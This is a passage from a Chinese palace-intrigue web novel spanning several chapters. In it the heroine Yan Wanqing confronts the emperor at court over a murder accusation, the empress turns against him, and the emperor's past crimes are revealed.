皇帝今日的耐心要比往常都要好,他安抚的拍了拍张岚依的手背:“皇后莫要动怒。”然后看着太监:“说吧,何事如此慌张?” 太监眼睛里都是恐惧,他高喊一声:“回禀陛下,七皇子殿下在大理寺地牢里自缢了!” “什么?!”张岚依听到这话激动的站起了身。 众妃嫔们也不知所措的开始小声议论起来。 在越来越密集的窃窃私语中,皇帝摩挲了一下拇指上的扳指,他转动了一下,将扳指拿了下来,然后放在了桌子上:“……自缢了?” 小太监瑟瑟发抖,跪在地上的身子几乎要抖成筛糠子。 “……回禀陛下,是,是是的。” 皇帝沉吟半饷,一张充满皱纹的脸上看不出什么情绪。 “朕知道了。”众目睽睽之下,他点了点头,整个人又像是苍老了不少,双手撑在膝盖上,抬头去看殿外的天,此刻已经是十分暗沉,分明是晌午,此时竟然已经比黄昏还要阴沉了些许。 众妃嫔见他如此,再也不敢多言,窃窃私语彻底化为了死寂。 不知道过了多久,皇帝才收回了目光。 “……通敌叛国的罪民实在不小,但朕念他年轻一时糊涂,留他全尸,赐永安王,死后不得入皇陵,厚葬吧。” 此时,终于有妃嫔忍不住嘤嘤哭出了声来。 声音婉转悱恻,实在是让人闻耳伤心。 张岚依强忍着胸腔里梗着的难受,张嘴骂道:“当着陛下的面前,哭什么哭!” 她刚要让来福去责罚,皇帝就抬手:“算了算了,今日注定不是什么好日子,朕乏了,你们都退下吧。” 皇帝身边年轻的太监赶紧上前将他扶了起来。 他好似有些糊涂的看了看他:“张公公呢?” 那年轻的太监愣了一下,低头轻声道:“张公公年迈,已经得陛下准许告老还乡了。” 皇帝听罢:“原来是这样,瞧瞧朕这脑子,真是记不住事情了。” 太监扶着皇帝朝着里面走去,皇后怔怔的坐在原地看着他们的背影,双眸里面都是暗光,不知道在想些什么。 第二百八十九章 安平害人,求陛下主持公道 雨到底还是没有下得下来。 天色宛若浓墨,黑的几乎要滴下墨汁来。 燕晚清见完从宫里出来的来福,抬头就撞见了萧蘋风。 “怎么了?”萧蘋风见她面色很差。 燕晚清语气阴郁:“萧鸿深死了。”竟然就这么死了!还是自缢身亡! “他那样的人会自缢么?”萧蘋风蹙了蹙眉头。 燕晚清摇了摇头:“不知道,我打算现在去一趟大理寺。” “我陪你。” 她下意识的想拒绝,但是手掌已经被对方握在了掌心里,那股子温热让她愣了一下。 “好。”燕晚清听见自己说道。 萧蘋风闻言弯了弯眉眼:“等会一会儿,我去换张脸,再拿把伞。” 二人到大理寺的时候,迎接他们的是谢群身边的师爷。 “二位需要抓紧时间,宫里的人马上也要到了。”师爷急匆匆的带着他们两个人下了地牢,从怀中掏出了钥匙。 地牢还保持着萧鸿深自缢时候的状态,谢群特意让人什么都不要动,只是将人从房梁上的身子上松了下来。 门一打开,燕晚清就看见躺在地上的萧鸿深。 身上脏兮兮,蓬头垢面,脖子上一道深紫色的痕迹触目惊心。 她上前走了两步,用手在他的鼻息间扫过。 毫无动静。 脉搏也是死寂一般径直跳动了。 “……真死了。”她喃喃的开口道。 师爷站在牢房门口开口道:“早上的时候还好好的,晌午用完饭之后,就自缢了。”他们眼下也是焦头烂额,好在陛下现在没有追究他们看管不严的责任。 不然整个大理寺都要吃不了兜着走。 这自缢的可是皇子啊! 再怎么通敌叛国不是个东西,他的身份也是皇帝的亲儿子! 这身份待遇自然是和寻常的罪犯是不一样的。 他们已经十分小心的看管了。 可是还是没想到,一转眼的功夫,人上了房梁,死了。 那绳子就是他将自己外袍撕碎拧成的。 这人要死,怎么都拦不住。 看着萧鸿深的尸体,燕晚清眉头紧紧的皱起,表情松动。 她不敢相信,自己想要杀了这么久的人,竟然直接自缢死掉了。 可是面前的人分明又是萧鸿深,不能作假! “人已经找仵作看了,真真切切的是没了气息,大夫也仔仔细细的翻看过了,确认是七皇子殿下无疑。”师爷又在旁边补充道。 谁都不相信这作恶多端的萧鸿深会在牢房里自缢。 皇帝的诏书没有下来,他尚且还有一丝希望,没有到最后,谁都说不准的。 可就是这样一个跟野草一样顽固的人,却在大理寺的地牢里,自缢了。 “二位还是抓紧时间吧,宫里的人应该到门口了,小的去给您二位争取一盏茶的时间离开。”师爷急匆匆的将钥匙丢给了他们俩,然后快步朝着外面走去。 萧蘋风见燕晚清还蹲在地上,上前将她扶了起来:“我们走吧。” 他的目光扫过地上的萧鸿深,他的七弟,面色死白,黑眸中闪过一丝不明的情绪。 斗了这么多,突然没了,还真有些舍不得。 燕晚清走出地牢的时候,眼角就兀自落下一滴泪。 她伸出手将泪水擦拭,放在眼前看。 心里突然有些空落落的。 只是人死了,她的满腔怨恨此刻也突然间化为乌有。 “晚晚,我们回家。”萧蘋风拉着她的手朝着外面走去,此时雨还是没有下下来。 师爷带着宫里的人从另外一条道上,与燕晚清他们擦肩而过。 此时。 谢群站在道路的尽头,身上穿着一身官服,他的目光从燕晚清身上挪到了萧蘋风身上,最后不着痕迹的移开。 “郡主,一切都已经准备好了。” 燕晚清点了点头,没有任何犹豫:“那就动手吧。” 她为了这一天,筹谋了这么久。 终于等到了报仇雪恨的时候,绝不会放弃。 只是这场戏里面,萧鸿深提前退场,少了几分滋味,多少带点失落罢了。 谢群拱手作揖:“那微臣便祝郡主马到成功!” 燕晚清抓着萧蘋风的手头也不回的朝外面走去。 一夜沉寂。 次日依旧是雾蒙蒙的天。 今日国师要回京,所以皇帝特意命令满朝文武不得请假,所有人都得迎接国师的归来。 燕晚清身上的兵权还没有收回去,身上有官职,所以今日也在朝堂之上。 皇帝端坐高位,面色祥和,只听外面传来一声接着一声的通报之后,宋化虚一头银发踩着台阶走到了大殿前面。 他目不斜视,走到了皇帝面前,不行跪拜礼,只是双手作揖:“贫道拜见陛下,陛下万岁万岁万万岁。” “无须多礼,许久不见国师大人,朕甚是想念啊,只是不知道国师这些时日都出去忙些什么了?竟然是神龙见首不见尾啊。”皇帝心中对于国师的不告而别,心里也是有几分不高兴的。 不过奈何,眼前人并不是自己所能掌控的。 所以他只能用这样的言语来表达自己的不爽。 宋化虚面上带着老者的面具,双眸十分沉寂:“不过是一些俗事罢了。” “听说国师又收了个女弟子?”皇帝说这话的时候,目光看向了燕晚清:“自从安平之后,你可是从未再收过女弟子了,朕真是好奇,是怎样的一个丫头能入了你的眼。” 宋化虚低头:“陛下若是相见见,待会儿下了朝,贫道领她面圣便是。” 再往后便是一些朝政要事,皇帝问了曹满一族,也问了七皇子的后事,还有这些时日不断告老还乡的旧臣,每件事情他都细致的询问了。 因为这些事情都是由皇后张岚依经手的,所以今日她也不得不在朝上。 众人还沉迷朝政的时候,只听见外面传来擂鼓喧嚣。 他们一惊,竟然是登闻鼓再次被敲响! 众人的目光下意识落在了燕晚清身上。 她微微蹙起眉头,桃花眸里也是阴沉了些许。 “何人在敲击登闻鼓!”皇帝勃然大怒。 不消片刻,一个鲜血淋漓的人被士兵拽到了大殿之上,那人一身布衣,在地上拖拽出长长的血痕。 “台下所跪何人!”皇帝沉声问道。 众臣不明所以的盯着那奄奄一息的人,依稀看得出来是个男人,只是蓬头垢面,浑身都是血,不知道到底是谁。 有眼尖的人,忽然惊呼:“这不是李大人么!” 李大人? 哪个李大人? 此时那人抬起头,露出一张大家熟识的面孔来。 “草民求陛下做主,安平郡主杀害瑶池县主,还堂而皇之造谣县主死于倭寇之手,其心歹毒,求陛下为草民做主,还县主一个公道啊——!”李父老泪纵横,匍匐在大殿之上,声音悲怆的喊道。 第二百九十章 这罪,我不认! 那李父的声音一出,满座哗然,所有人的目光都落在燕晚清身上。 只见她今日穿着一身暗红色的软甲,头发高高的束起,做男儿装扮,眉眼间英姿勃发,看起来寻常病恹恹的样子十分不一般。 “安平,此人所言可真?”皇帝的声音从大殿之上传来,听不出情绪。 燕晚清抬头,目光和高坐上眼神担忧的张岚依对视了一下,迅速移开,她双手作揖:“他所言为真,李呈祥确实是安平所杀。” “什么?!郡主竟然杀了那瑶池县主!”朝臣大惊。 而且她就这么堂而皇之的承认了。 实在是匪夷所思。 皇帝眯着双眼盯着她:“安平,你好大的胆子。” 燕晚清表情冷静,丝毫没有因为突然杀出来一个敲登闻鼓的李父而惊慌失措,她眸光清亮。 “瑶池县主目无王法,公然违背陛下扮作小兵私自从军此为死罪一,期间被认出来之后以县主身份作威作福扰乱军心此为死罪二,西凉城中谋杀本郡主差点致死此为死罪三,她与通敌叛国的七皇子互通消息此为连坐死罪四,上述四大死罪罪状,难道还不足以让本郡主替陛下代劳将其当场斩杀么?!”她目光灼灼盯着那跪在地上的李父。 “罪臣李青,你有何脸面敲击登闻鼓,上殿前替你那恶毒女儿鸣冤呐?!” 一字一句,每个字都掷地有声,瞬间众人恍惚回到了当年她站在敌军面前,以一人敌万人的场景。 李青目光浑浊带血,他十分执着:“陛下,这些都是她燕晚清一个人所言,并无证据,草民求陛下彻查,将安平郡主绳之以法!” 皇帝没吭声,目光阴郁不知道在想什么。 “李呈媛所作所为皆有军中将士可以作证,安平若是所言为虚,任凭陛下处置,绝无虚言。”燕晚清双手作揖,脊梁挺得笔直:“父亲从小就是这般教导过,是安平所作安平认,不是,安平死都不能认!” 那李青冷笑道:“你乃西征大帅,又是身份尊贵的安平郡主,那些将士们恐怕早就都是你自己的人了,但凡有个知道真相的,也会顾虑到你的身份不敢说出来,可怜我那苦命的女儿,还没有嫁做人妇,就死在了西凉城,草民收尸都没处去收啊……” 他哭的难听,伤心落泪,宛若一个难过至极的悲伤父亲。 可是燕晚清深知他是一个什么样子的人,对比那天他威胁李呈祥去卖的模样,此刻对着李青,她几欲作呕。 “本来七皇子还能道出真相,眼下他也走了,草民当真是有苦说不出啊,这燕家女子当真是想一手遮天,蒙蔽天日啊……”李父嚎啕大声哭泣:“可怜的女儿啊……为父对不住你啊,你尸骨全无,为父下去之后怎么跟李家的列祖列宗交代啊——” “闭嘴!”张岚依再也忍不住,冷声呵斥道:“大殿之上,岂容你胡乱喧哗!” 皇后的威仪尽显,那李青却丝毫不被吓到。 “皇后娘娘当真是极其疼爱这安平郡主,生怕她受一点点的委屈,草民不过是说出了真相,您就听不下去,站出来呵斥草民了,也是,草民命贱,哪里比得上镇国府尊贵,死了就死了,一了百了,今日这登闻鼓真是敲错了!”李青胡乱从地上爬起来,身边的将士一脚踹在了他的膝盖上。 “大胆!”张岚依没想到此人大殿之上竟然胡言乱语起来。 此时皇帝淡淡的扫了她一眼,没吭声。 张岚依心乱如麻,面色也有些不淡定了,衣袖下的手上都是冷汗。 “你胡搅蛮缠本郡主也是无法,话都已经说清楚了,相信陛下自有决断!”燕晚清不再多说一句话,固执的看向了皇帝。 皇帝沉默片刻,道:“那李呈媛为朕亲封的县主,还造出了火石这样的武器扩充了我们大渭的军力,安平,不管究竟发生了什么,你也不该当场将其斩杀,应当和七皇子一道押送回京,交由朕来处理的。” 此话一出,燕晚清站的笔直的身子颤抖了两下。 她面色瞬间就苍白了下来。 “所以……陛下是要信他?”燕晚清指着被压在地上的李青,声音里都是不敢置信:“我燕家人向来坦坦荡荡,是红就是红,是黑就是黑,在陛下从来没有半句假话,陛下竟然不信安平?” 皇帝就这么阴沉的盯着她。 燕晚清过了半饷兀自笑出了声:“……父亲啊,您瞧见没有,这就是您愚忠的帝王!” “放肆——”此话一出,皇帝登时冷下脸来:“燕晚清你可知自己在胡言乱语什么?当真以为朕不敢动你是么!” “陛下不是早就想动燕家了么?”燕晚清超后退了两步,面上再不复恭敬,她冷冷的看着李青:“此人胆小如鼠,今日竟然敢当众敲击登闻鼓殿前喊冤,这意味着什么,大家都心知肚明。” “陛下,您是我父亲一生誓死效忠的陛下,我燕孙两家十四个儿郎战死雁门关的时候,您问都没有问,可是眼下为了一个小小的县主,你就要问安平的罪责,这是何道理?这难道就是陛下的道理么!” 皇帝拍案而起:“你若是有证据就拿出来证明自己清白,在朕面前,不是谁嗓门儿高,谁就是清白无罪的!” 燕晚清嗤笑一声:“您一开始就想置我于死地,何必假惺惺的做这幅姿态?早在我父兄棺木回京的那一天,您不就让人在燕家搜到了造反的证据了么?一茬接着一茬,燕家人就这么让您恨之入骨,恨不得除之而后快么?” “燕晚清,朕念你是镇国公的嫡长女,今日你的这番胡言乱语不放在心上,但是你杀害瑶池县主一事是真,你自己也已经认罪,眼下朕便下了你的郡主身份,押送大理寺审问,你可有意见?”皇帝年迈的面容上都是冷静,前所未有的冷静,此刻他才像是一个杀伐果断的帝王:“还不速速跪下谢恩!” “谢恩?”燕晚清觉得人世间最荒唐的事情莫过于此,她站的笔直,目光是前所未有的无畏:“不是我燕晚清的罪,我不认,这恩,我也不想谢!” “你这是想死——!”皇帝威胁道:“朕的耐心是有限的。” “君要臣死臣不得不死,反正陛下这种事情也做的轻车熟路了,只是李呈祥罪有应得,这个罪我绝不认。”在众目睽睽之下燕晚清伸出双手,十分坦荡的站在大殿之下,冲着谢群喊道:“劳烦谢大人了,送晚清进一趟大理寺。” 朝臣看着她,大多数人都是目光复杂的。 为了一个小小的瑶池县主,就要诛杀忠臣后代。 第二百九十一章 陛下敢动她,本宫绝不善罢甘休! 不少老臣此刻的心都已经凉透了。 “陛下——此事还需要进一步调查,郡主从来坦荡,此事中间定有蹊跷啊。”朝臣们纷纷站出来替燕晚清说话。 皇帝的面色越来越阴郁,眼中的杀意也越来越挡不住。 那李青大声叫嚣:“陛下说了,她若是有证据便拿出来!她若是没有证据,杀人就该偿命,大渭律法向来如此!” “谁说没有证据!”殿外传来一道清朗的嗓音。 众人立刻转过头去。 只见一个坐在轮椅上的白衣青年被太监缓缓推进了大殿之内。 太监扶着那青年吃力的跪在地上。 “微臣纪云台,乃西凉城城主,未经召唤,擅自入京,还请陛下莫怪。”纪云台跪在地上,双手上端着一个盘子,上面盖着一个红布:“这里就是李呈祥妄图杀害安平郡主的证据。” 皇帝身边的太监赶紧上前将那盘子端到了皇帝面前。 皇帝掀开红布,露出一个剑鞘。 纪云台说道:“匕首在外面锦衣卫手里,微臣只留了一把剑鞘进殿。” 这把匕首是萧蘋风交给他的。 说是有大用处,果真是不假。 皇帝端详着剑鞘:“这匕首,似乎是被太子送给了七皇子,朕有印象。” 稍微查一下登记册,上面都会有痕迹,所以根本做不了假。 “陛下好记性,这匕首后来被七皇子赠给了瑶池县主防身,也算是二人的定情信物。”纪云台继续缓缓说道,他目光沉静看向地上的李青:“相信这位也是有点印象的。” 李青此刻面色灰白,他双眼立刻转动,一时之间不知道如何开口。 “微臣其实也是人证,可以证明安平郡主在西凉城的时候曾经多次遭受过瑶池县主的暗杀,期间西凉城还为此发动了全城搜捕,好在上苍有眼,郡主福大命大,才没有被歹人所害。” 纪云台逻辑清晰,声音清朗,说话的语速也不快,保证大殿之上的所有人都能听得见自己的话。 皇帝看着匕首的剑鞘,脸上的褶皱崩的很紧。 “大胆刁民,竟敢蒙骗陛下,来人啊!”张岚依在此时开口道:“将这个刁民下狱,不日问斩以儆效尤!” 李青一听这个吓得不轻,他直勾勾的看向皇帝。 “陛下!陛下草民冤枉啊!陛下救救草民啊!” 皇帝半敛着的眸子里都是杀意,他抬眼扫了一眼李青。 李青竟然挣脱开那士兵的手就要往前扑,刚上台阶没几步,就被身后的将士从背后直接砍死了,鲜血溅了一地,朝臣们吓得纷纷后退,就连张岚依也是惊呼一声。 燕晚清站的笔直,目不斜视,她见惯了鲜血也见惯了生死,不为所动。 同样不为所动的还有国师宋化虚,在他的眼中,生死这种俗事甚至不入他的眼。 “拖下去。”皇帝不耐的开口。 很快李青的尸体就被拖了下去,一双眼睛瞪得狰狞,死不瞑目。 “这件事情是朕错怪安平了……”皇帝刚要说话,此时朝臣中站出来一个人,手里捧着奏折:“陛下,燕晚清出言不逊,仗着镇国公和她自身的功勋不敬陛下,死罪可免,但活罪难逃啊。” 说话的是曹满一案幸存没有被簸箕到的户部尚书王大人。 他看着燕晚清的眼神嫉恶如仇:“陛下宅心仁厚,可如此胆大妄为者,对于大渭的江山社稷实在是一大灾难啊陛下!” 原本松了一口气的朝臣,此刻神经又紧绷了起来。 燕晚清依旧站在原地,她的唇角甚至勾起一抹笑来。 熟悉她的人都知道,她笑的越开心,代表越生气。 “陛下,您瞧瞧,这种时候,她还笑得出来。”王大人像是抓住了一个把柄,大声斥责。 燕晚清斜眼扫了他一下,笑道:“不笑,难道还要哭么?话都被你们说了,我无话可说,陛下要杀要剐,悉听尊便,我们燕家人,各个都不是孬种。” “陛下!如此孽女,万万留不得啊!今日她敢出言不逊,明日她就敢——”王大人急匆匆的说道。 “混账东西!”皇帝大骂出声。 王大人立刻跪在了地上。 皇帝深深的看了一眼燕晚清:“安平,你跪下谢罪,朕可以不计前嫌。” 跪? 燕晚清同样回望他:“你已不是我的君,我也不是你的臣,凭何跪下?” 此言一出,满嘴哗然,纪云台也跟着心颤了一下,目光担忧。 这燕晚清当真是吃了熊心豹子胆了。 “你要反?”皇帝语气中的杀气肆意,带着某种兴奋。 王大人更是激动不已:“陛下,快些将这逆贼拿下,就地正法!” 从殿外涌进一批将士,纷纷拿着长刀对着燕晚清。 “本宫看谁敢——!”没想到最先开口的竟然是皇帝身边的张岚依。 此时她站起身,美艳的面容上都是森冷,她环顾众朝臣:“不怕死的,尽管试试!” “皇后。”皇帝看向了张岚依:“你要干什么?” 张岚依冷笑:“陛下不是早就看出来了么?此时何必惺惺作态!看的本宫倒胃口!” 话音刚落,外面雷声大作,轰隆声,一声接着一声,不绝于耳,恍若在这大殿之上一般,让人心中惴惴不安。 眼下满朝文武都已经傻眼了。 本以为燕晚清疯魔了,但是没想到皇后也疯了。 此时她竟然站出来公然反驳皇帝,还骂皇帝恶心倒胃口! 众朝臣不敢置信的看着面前的一幕,就连一直作壁上观的宋化虚,都惊诧的看了一眼张岚依。 张岚依今日穿的十分明艳动人,此时站在大殿之上,她堂而皇之对着皇帝叫嚣:“陛下敢动她,本宫绝不善罢甘休!” 她在皇帝阴狠的目光之下,同样拍了拍手,此时又从殿外涌出一批人,赫然是锦衣卫! 此时锦衣卫和刚刚的士兵们兵戈相向,互相对峙,谁都不敢先动手。 谁能想到锦衣卫早就变成了皇后的人。 “好好好!当真是极好!朕都不知道,身边竟然养了这么多白眼狼!”皇帝冷笑道,此时的目光恨不得直接杀了张岚依才舒服。 张岚依同样不掩饰自己的恨意和杀意:“要说是白眼狼,陛下才是当仁不让的第一个吧?这么些年,你杀了多少忠心耿耿的人,自己心里没有数么?午夜轮回的时候,这些人应该都有去过陛下的梦里喊冤吧?不然陛下为何每夜都要点着烛火才能入睡?” 张岚依红唇似血:“陛下也会害怕?害怕他们回来找你报仇是吧哈哈哈哈哈……”说到最后她笑出了声,笑的眼泪都要落下来。 这些人里面,也有他们张家人啊。 第二百九十二章 燕晚清,你该上路了 “皇后,你疯了。”皇帝没有任何语气,语气极其平静。 张岚依用指腹擦拭着自己眼角的泪水,继续笑道:“对,本宫是疯了,还没有当皇后的时候就已经疯了,陛下不是最清楚的么?当年我父亲是怎么死的,我又是怎么沦落到宫中被人欺凌的,陛下早就让人调查的请清楚楚了才是。这些年,你不就是靠着这个一直威胁本宫,拿捏本宫的么?人心上面,帝王最是深谙此道啊。” 帝后分崩离析,大殿之上公然叫嚣辱骂,更是直接到了兵戈相向的地步。 所有人都如临大敌。 皇后此番,怕不是要为了燕晚清反啊。 “皇后,朕曾经跟你说过,你得一直待在朕的身边,跟朕一条心才是。”皇帝缓缓开口,他丝毫没有因为眼前的一切有半点惊慌,沉着冷静是一个帝王最基本的素养。 张岚依被他此时的冷静吓得有些心慌,但是很快她就讥讽道:“一开始就不是一路的人,如何同心?当你皇后的这些年,是本宫最恶心的一段时间,事情既然已经发展到了今日的地步,本宫已经无路可退了。” 不往前,但凡退后一步,她和她所有的人都只剩下死路一条。 张岚依就是明白,才会义无反顾的站出来。 她必不可能让皇帝动燕晚清! “这天下都是朕的,你当真以为朕不知道你们之间的那些小勾当?”皇帝冷笑两声,他抬手拍了拍,原本还在对峙的锦衣卫瞬间丢下了手里的长刀。 张岚依面色骤然苍白:“怎么会?” “朕愿意给你的,才是你的,没有松口给你的,就永远都不是你的东西。”他才是掌握生杀大权的那个人,皇帝的目光和殿下沉默不语的燕晚清对上。 这双眼睛,充满了不屈。 就跟四年前一模一样。 看的他心里很不舒服。 “早就知道你有反骨,却没有想到你竟然会选皇后。”皇帝发出嗤笑:“这个选择真是蠢透了,哪怕你选老七,都不至于落得今日这般田地。” “不到最后,陛下怎知我选错了?”燕晚清终于开口说话了,她先是看向宋化虚,然后又直勾勾的看向了皇帝:“当年还真是辛苦陛下让国师大人亲自给我父亲送千机之毒,毁了我一身的功力,还让我当了四五年的废人,如此恩情,晚清没齿难忘。” “可惜我父亲愚忠,哪怕陛下赐毒毁了他的嫡长女,依旧选择为大渭金戈铁马,带着燕孙两家男儿义无反顾的去了雁门关,大渭哪次战乱没有他们的身影?区区一个雁门关能让他们全军覆没么?人在做天在看!”燕晚清掷地有声:“蜚鸟尽,良弓藏;狡兔死,走狗烹,陛下,你藏不住的!” “燕晚清,本官知你巧舌如簧,靠着一张嘴就能让死的说成活的,可是大殿之上,陛下面前,你还敢逞口舌之能狡辩!群臣的眼睛是雪亮的,是真是假,不容你胡言乱语!”王大人大声斥责道。 燕晚清从未将这等小喽啰放在眼里,她自始至终只跟一个人对话:“是真是假,做过的人心里自然都有数,雁门关的雪,终有一日会消融,届时尸横遍野,谁又能独善其身呢!就像在座现在高高挂起的各位,你以为你们平平安安度过今日之后,往后便是康庄大道了么?” 她看着众朝臣,红唇微勾:“做梦吧,咱们的陛下早就替你们写好戏本了,怎么死,怎么流放,不过都是时间的问题,谁都跑不掉!” 她在满座愤慨之中,眺望高台上的皇帝:“毕竟,咱们的陛下不能容人这件事情,不是一天两天了,我父亲,还有我,包括北征的太子殿下,都是活生生的例子,日后,这把刀也会架在诸位的脖子上。” “燕晚清,你休得妖言惑众!”王大人知道再也不能让这个女子说下去了,于是他几步向前,面向皇帝:“陛下,微臣恳请陛下立刻诛杀此妖女!” “此女不除,社稷大乱啊!” “陛下,快些下决断吧!”王大人一声声哀求道。 皇帝就像是在欣赏濒死猎物之前最后的一搏,他盯着燕晚清打量着,妄图从她的瞳孔里看到一丝恐惧。 可是,没有。 她就像是天生无畏。 “燕晚清你不怕死,可是你此番作为连累了你们燕家所有人,至此,你依然不肯跪下认罪?” 前世她认了。 跪在地上苦苦哀求。 可是满门抄斩的诏书依然下了下来。 她们燕家人如何被逼死,又是如何遭受凌辱的,没有人比燕晚清更清楚。 那些画面从重生的那天起,就日日夜夜在脑海中不断的轮回播放。 是她死都不能忘记的痛苦! 她眼里的恨意更加明显了,整个人都仿佛浸润在戾气之中,即便如此,唇角的笑容却越来越大:“那陛下呢?认罪吗?” “你害死我燕家儿郎,为此不惜牺牲雁门关满城百姓,置万人性命于不顾,此番罪责,陛下您又认不认呢?!”燕晚清字字泣血:“你又要说我没有证据是么?真可惜……” 她眼里都是讥诮:“你机关算尽太聪明,唯独没有料到,我大哥燕黎安从战场上活着回来了!” 皇帝是最后知道燕黎安活着回来的人。 因为他一直都在生病,昏昏沉沉,不受控制。 等听到燕晚清的话,眸光肉眼可见的暗沉下来。 “都是你们燕家人,这又能说明什么问题?”王大人阴阳怪气的开口。 “王大人府内有一口被填实的井对吧?”燕晚清突然看向了王大人。 王大人一惊,燕晚清不是一直不搭理他么,怎么一下子跟自己说话了:“那,那又如何?” “井下面有一具女子的尸体,那是你多年之前的发妻,后来你进京赶考,拜入了曹满名下,又得他介绍取了现在的妻子,你担心糟糠之妻害你前途,所以便一不做二不休请她上京过好日子为由,将其杀死丢进了井中,你觉得我说的,对还是不对?”燕晚清娓娓道来。 王大人瞪大眼睛,不敢相信:“你,你怎么会……” “怎么会知道这些秘辛?”燕晚清顺着他的话往下接。 王大人立刻跪在殿前:“陛下,她一派胡言啊!陛下,千万不能信这妖女所言!” 燕晚清眼神悲悯的看着他,仿佛在看一个笑话。 “你觉得这些秘辛,是怎么到我手里的呢?”她环顾朝臣:“你们经常光顾的那个小院儿,都有印象吗?” 满朝文武的脸色起码白了一大半。 王大人跌坐在地上:“是你!” “那可不是我,烟花巷才是我的。”燕晚清坦然承认:“那是你誓死效忠的人的,是咱们高高在上的陛下的!” 此言之后,满朝文武剩下的小半张脸也白了。 皇帝的脸色已经不能用墨水来形容了。 大殿之外的雨水,终于倾盆而下。 雨水哗啦啦带着水汽涌入了大殿之内,在场没有一个人敢吭声,所有人都被燕晚清这句话吓得噤声。 这世上,没有比这更荒唐的事情了。 皇帝监视朝臣,用此等下流手段套出朝臣的秘辛,加以掌握,心情不顺时便拿出来出气,那他们费尽全力考取功名所为何求?当皇帝圈养的畜生么?随意可以斩杀的那种? 所有人的眸光都十分复杂,愤懑之情在众人之间不断肆意。 “朕容你说的太多了。”皇帝冷冷的开口:“燕晚清,你该上路了。”他朝着将士们示意可以动手。 张岚依面色紧张,急忙从上面往下走:“不要——” 第二百九十三章 朕只是想当皇帝,朕有什么错! 皇帝是杀伐之气丝毫没有掩饰。 他开始后悔自己留下燕晚清,让她说的太多,他不该好奇这种人痛哭流涕哀求的模样。 她和她那个父亲一样,脊梁骨硬的很! 不能再留了,杀了吧。 皇帝本着眼不见为净闭上了双眼。 所有人都以为燕晚清会命丧当场。 没有,死一般的寂静。 没有将士动手。 皇帝睁开了双眼,那群拿着刀的将士们纹丝未动。 燕晚清歪着头看向皇帝:“陛下,还是让晚清把话说完再动手吧。” 此时众人已经知道,皇帝控制不住局面了。 张岚依站在台阶中间,心里松了一口气,眼眶微热,又哭又笑起来。 她差点以为这个死丫头要死了。 还好,还好没有。 刚刚走了两步,感觉腹内生疼,她稍微皱了皱眉头,隐忍下来。 此时燕晚清也学着皇帝拍了拍手:“带上来!” 殿外一阵喧嚣,燕黎安带着王权夫妇走了进来。 燕黎安轻蔑的看了一眼上位的皇帝,眼里的讥诮毫不掩饰。 当王权夫妇的脸一露出来的时候,不少朝臣直接吓软了脚。 那王大人更是跟没骨头的软体动物一样,瘫在了地上。 “原来,原来……她说的都是真的。”王大人恍惚的摇了摇头。 此刻信仰一下子崩塌,王大人甚至失去了活下去的念头。 这对于一个寒窗苦读多年一心想要考取功名的读书人来说,没有什么比这个打击还大。 当年把糟糠之妻推下井的时候,他都没有感受到这般恐慌过。 天要塌了。 不。 他的天已经塌了。 王权夫妇甚至都不需要开口说话,臣心就已经彻底失去了。 皇帝从今日开始,再无威严。 他再不似刚刚那般淡定,气急败坏的站在台上骂道:“燕晚清你以下犯上,目无王法,其罪当诛!来人呐,给朕杀了她!” 没有人动。 螳螂捕蝉黄雀在后,燕晚清才是那只黄雀。 她甚至还能闲下心来看宋化虚:“国师大人一向最听陛下的话,今日可要替陛下代劳?” 动手吧,这样她就能光明正大的杀了他! 皇帝终于想起来自己还有一个深不可测的帮手。 于是他开口道:“国师,你替朕杀了她!朕有重赏!” 谁料宋化虚只是冷冷的看了他一眼:“你喊贫道过来,就是为了看你如何跌落皇位的么?” “失败者,是没有谈判资格的。” “你已经完了。” 此话一出,皇帝踉跄的摔下了台阶,年是过高的他滚落下来,趴在地上半饷起不来,好生狼狈。 燕晚清双眼清明的盯着面前的帝王。 “真可惜,国师不肯出手。”她轻轻的开口,说出这个残忍的事实:“眼下,陛下当真称得上是孤家寡人。” “你放屁!朕还有太子!”皇帝想起来今日太子也会进京:“朕的太子,骁勇善战,以一敌千,燕晚清你这些小把戏根本不够他看的!” “这好像是父皇第一次当着群臣夸赞儿臣。”清幽的声音从旁边柱子后面响起,此时众人才发现太子殿下已经在那个柱子下面不知道站了多久。 看到萧蘋风,皇帝眼中闪过了欣喜,他赶紧爬起来朝那边走去:“太子,速速救驾!” 只是刚走过去两步,他猛地停了下来。 “不对,你……你们。”他的目光在萧蘋风和燕晚清之间游移,最后落魄的一笑:“是朕糊涂了,是朕糊涂了啊!” “你们两个早就勾结在了一起!萧蘋风你这个孽障!胳膊肘往外拐的混账玩意儿,朕当初就应该直接将你掐死在襁褓中!”皇帝破口大骂。 萧蘋风闻言黑眸闪了闪。 将他掐死在襁褓中么? 呵…… “当年那碗药如果不是被太后喝了,死的应该是儿臣才对吧?” 萧蘋风自我嘲讽的一笑。 不被祝福的出生,他就该胎死腹中才对。 “太子殿下在说什么?”皇后顺着台阶缓缓走了下来,语气中不敢置信。 萧蘋风闭上双眼又缓缓睁开,黑眸中都是苦涩,他将当年的事情说了出来。 “其实那碗药是给孤准备的,父皇并不想要母后生下孤,他觉得孤的出生会抢走他所有的帝王气运,所以他让张太医准备了一碗堕胎药,但是没有想到当时太后也在母后的宫中,误将其认为是安胎药,喝下之后导致小产,父皇为了自己的阴谋不败露,借着太后与曹满苟合一事大发雷霆,赐死了太医院的所有人,当时的丞相奉命彻查此事……为了能让太后活下去,丞相自请离京,然后被父皇的人暗杀死在了述职的路上……” “原来,这才是真相……”张岚依一直以为是太后害死了父亲,皇帝是刽子手。 可是没有想到,自始至终,皇帝都是那个始作俑者。 “本宫的父亲何错之有!”张岚依捶胸顿足,竟然吐出一口鲜血来。 燕晚清惊得直接上前扶住她:“皇后娘娘!” 张岚依丝毫不顾及自己的身体,她的眼里只有那皇帝:“你说啊,他何错之有?!整个太医院的人又何错之有!你为了一己私欲,杀了整个太医院的人,你根本就不配当皇帝!” “朕配!谁敢说朕不配当皇帝!”皇帝冷笑道,鬓发从刚刚摔下来的时候就散了,他步履蹒跚,眼神却异常的发亮:“天底下没有人比朕更加配当皇帝!” “朕闻鸡起舞,批阅奏折,在位数十载从未敢有过懈怠,可是你们竟然一个个的催着朕生皇子,立太子!”皇帝憎恶的眼神落在了群臣身上,尤其是那几个老臣:“朕当时正直壮年,意气风发,你们逼着朕娶了先后,又逼着朕立他为太子!那朕呢?朕那般辛辛苦苦的坐上这个位置,又那般勤勤恳恳的匡扶天下,朕算什么?!” 他颤抖着手指着自己:“朕算什么?!你们说啊!” 